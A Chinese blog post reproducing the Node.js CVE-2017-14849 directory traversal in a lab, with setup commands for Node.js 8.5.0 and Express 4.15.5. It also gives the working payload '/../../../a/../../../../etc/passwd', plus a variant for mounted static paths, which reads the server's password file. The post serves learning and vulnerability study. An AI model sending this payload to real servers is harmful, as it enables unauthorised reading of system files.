浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤)


Posted in Javascript onNovember 10, 2017

0x00 前言

早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent.com/index.php/blog/msg/121),然后想着复现,学习学习,就有了这篇文章。

0x01 漏洞简介

CVE(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14849)上面的描述是这样的:

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.

换成我们看的懂的意思就是node.js 8.5.0 到8.6.0 之间的版本会造成目录穿越漏洞,读取任意文件,而漏洞的原因是因为对”..”的处理和另外的模块不兼容。

打个比喻就是有一个人开发这个模块,另外的一个人开发另外个模块,大家对于这个东西的处理不一样,从而导致出现了漏洞。而这里的模块就是node.js 和 express。

影响版本:

Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5

0x02 node.js是什么

Node.js® 是一个基于 Chrome V8 引擎的 JavaScript 运行时。 Node.js 使用高效、轻量级的事件驱动、非阻塞 I/O 模型。它的包生态系统,npm,是目前世界上最大的开源库生态系统。(抄从官网)

0x03 express是什么

Express是基于 Node.js 平台,快速、开放、极简的 web 开发框架。(同样抄从官网)

0x04 如何复现

下面采用腾讯云开发者实验室搭建环境进行快速复现。

复现准备:

0. 腾讯云开发者实验室的云主机一台 (我这里用的是《基于 Ubuntu 搭建微信小程序服务》的实验主机 ubuntu 16.04 64位)

1. node.js 8.5.0 (https://nodejs.org/download/release/v8.5.0/)

2. express-4.15.5 (https://github.com/expressjs/express/releases)

3. burpsuite

Step 1安装node.js 8.5.0

下载node.js 8.5.0安装包

wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz

解压安装包

tar -zxvf node-v8.5.0-linux-x64.tar.gz

移到通用软件安装目录/opt

mv node-v8.5.0-linux-x64 /opt/

安装 npm 和 node 命令到系统命令

sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/node /usr/local/bin/node 
sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/npm /usr/local/bin/npm

验证一下:

node -v

输出版本号则表示配置成功

Step2 安装express-4.15.5

下载express-4.15.5

wget https://github.com/expressjs/express/archive/4.15.5.tar.gz

解压压缩包

tar -zxvf 4.15.5.tar.gz

进入express目录下,安装express

cd express-4.15.5 && npm install

进入到expresss-4.15.5/examples/static-files目录里

node index.js

Step 3 发送payload验证

Payload: /../../../a/../../../../etc/passwd

浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤)

0x05 漏洞原理分析

为什么payload会是这样的呢?请参考腾讯应急响应中心的那篇文章(https://security.tencent.com/index.php/blog/msg/121),写的很言简意赅。

(还不是因为自己菜,分析不出。。。。)

注意:该漏洞是建立在文件夹通过express.static 来托管的情况下,因为在这种情况下才会使用normalize函数进行path标准化。(发现来源于p神的分析)

比如代码这样写:

app.use(express.static(path.join(__dirname, 'static')));

那么payload应该是

/../../../a/../../../../etc/passwd

但代码如果是这样写的话:

app.use('/static',express.static(path.join(__dirname, 'static')));

那么payload应该为:

/static/../../../a/../../../../etc/passwd

0x06 后记

复现很简单,但分析原理很难。至少我现在还没弄明白。等我弄明白了,再写写怎么分析与跟踪吧。

其实这里有一个挺有意思的点,那就是一些重大漏洞的追踪问题,关于这个漏洞官方早在九月份就已经发布了说明,而这个问题是在最近才得到重视,很明显就算是腾讯也没有第一时间去跟踪CVE的更新列表。

而在腾讯发了这篇文章之后,P神把复现环境给弄到了vulhub(https://github.com/vulhub/vulhub/tree/master/node/CVE-2017-14849),速度之快令人惊奇。然后再代码审计里面发了,在微博里面发了。再接着整个安全圈其实都知道了。

然后这里我们得出了一个结论,如果想要得到第一手漏洞预警与学习,应该时刻关注着CVE列表,努力做第一个吃螃蟹的人。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
IE iframe的onload方法分析小结
Jan 07 Javascript
jquery实现心算练习代码
Dec 06 Javascript
jquery动态加载图片数据练习代码
Aug 04 Javascript
javascript同步服务器时间和同步倒计时小技巧
Sep 24 Javascript
javascript动态生成树形菜单的方法
Nov 14 Javascript
javascript深拷贝(deepClone)详解
Aug 24 Javascript
js制作网站首页图片轮播特效代码
Aug 30 Javascript
JS库之Highlight.js的用法详解
Sep 13 Javascript
完美解决axios跨域请求出错的问题
Feb 05 Javascript
微信小程序动画(Animation)的实现及执行步骤
Oct 28 Javascript
基于iview-admin实现动态路由的示例代码
Oct 02 Javascript
新手入门js闭包学习过程解析
Oct 08 Javascript
angular之ng-template模板加载
Nov 09 #Javascript
深入理解Vue 单向数据流的原理
Nov 09 #Javascript
node.js基于express使用websocket的方法
Nov 09 #Javascript
angular2系列之路由转场动画的示例代码
Nov 09 #Javascript
使用ef6创建oracle数据库的实体模型遇到的问题及解决方案
Nov 09 #Javascript
基于vue配置axios的方法步骤
Nov 09 #Javascript
微信小程序倒计时功能实现代码
Nov 09 #Javascript
You might like
DedeCms模板安装/制作概述
2007/03/11 PHP
php检测url是否存在的方法
2015/04/14 PHP
javascript 快速排序函数代码
2012/05/30 Javascript
基于jquery实现的文字向上跑动类似跑马灯的效果
2014/06/17 Javascript
JavaScript中switch判断容易犯错的一个细节
2014/08/27 Javascript
javascript实现依次输入input自动定焦
2014/12/23 Javascript
javascript实现状态栏中文字动态显示的方法
2015/10/20 Javascript
js获取时间精确到秒(年月日)
2016/03/16 Javascript
js实现数字递增特效【仿支付宝我的财富】
2017/05/05 Javascript
jQuery手风琴的简单制作
2017/05/12 jQuery
Angular.js中数组操作的方法教程
2017/07/31 Javascript
基于jQuery对象和DOM对象和字符串之间的转化实例
2017/08/08 jQuery
vue2.0获取鼠标位置的方法
2018/09/13 Javascript
Openlayers实现地图全屏显示
2020/09/28 Javascript
vuex中遇到的坑,vuex数据改变,组件中页面不渲染操作
2020/11/16 Javascript
JS实现简易日历效果
2021/01/25 Javascript
[02:27]《DAC最前线》之附加赛征程
2015/01/29 DOTA
Python psutil模块简单使用实例
2015/04/28 Python
Python数据结构与算法之图的广度优先与深度优先搜索算法示例
2017/12/14 Python
Python批处理删除和重命名文件夹的实例
2018/07/11 Python
python监控进程状态,记录重启时间及进程号的实例
2019/07/15 Python
python SVM 线性分类模型的实现
2019/07/19 Python
python读写csv文件的方法
2019/08/13 Python
Python&&GDAL实现NDVI的计算方式
2020/01/09 Python
python如何将两张图片生成为全景图片
2020/03/05 Python
Python实现密钥密码(加解密)实例详解
2020/04/26 Python
Django 权限管理(permissions)与用户组(group)详解
2020/11/30 Python
潘多拉意大利官方网上商城:网上选购PANDORA珠宝
2018/10/07 全球购物
澳大利亚婴儿、幼儿和儿童在线设计师商店:Smooch Baby
2019/02/16 全球购物
员工晚婚的请假条
2014/02/08 职场文书
应聘教师自荐书
2014/06/16 职场文书
文员试用期转正自我鉴定
2014/09/14 职场文书
县政府领导班子“四风”方面突出问题整改措施
2014/09/23 职场文书
群众路线教育查摆剖析材料
2014/10/10 职场文书
反四风问题学习心得体会
2016/01/22 职场文书
USB TYPE-C 或将成为所有智能手机充电标准
2022/04/21 数码科技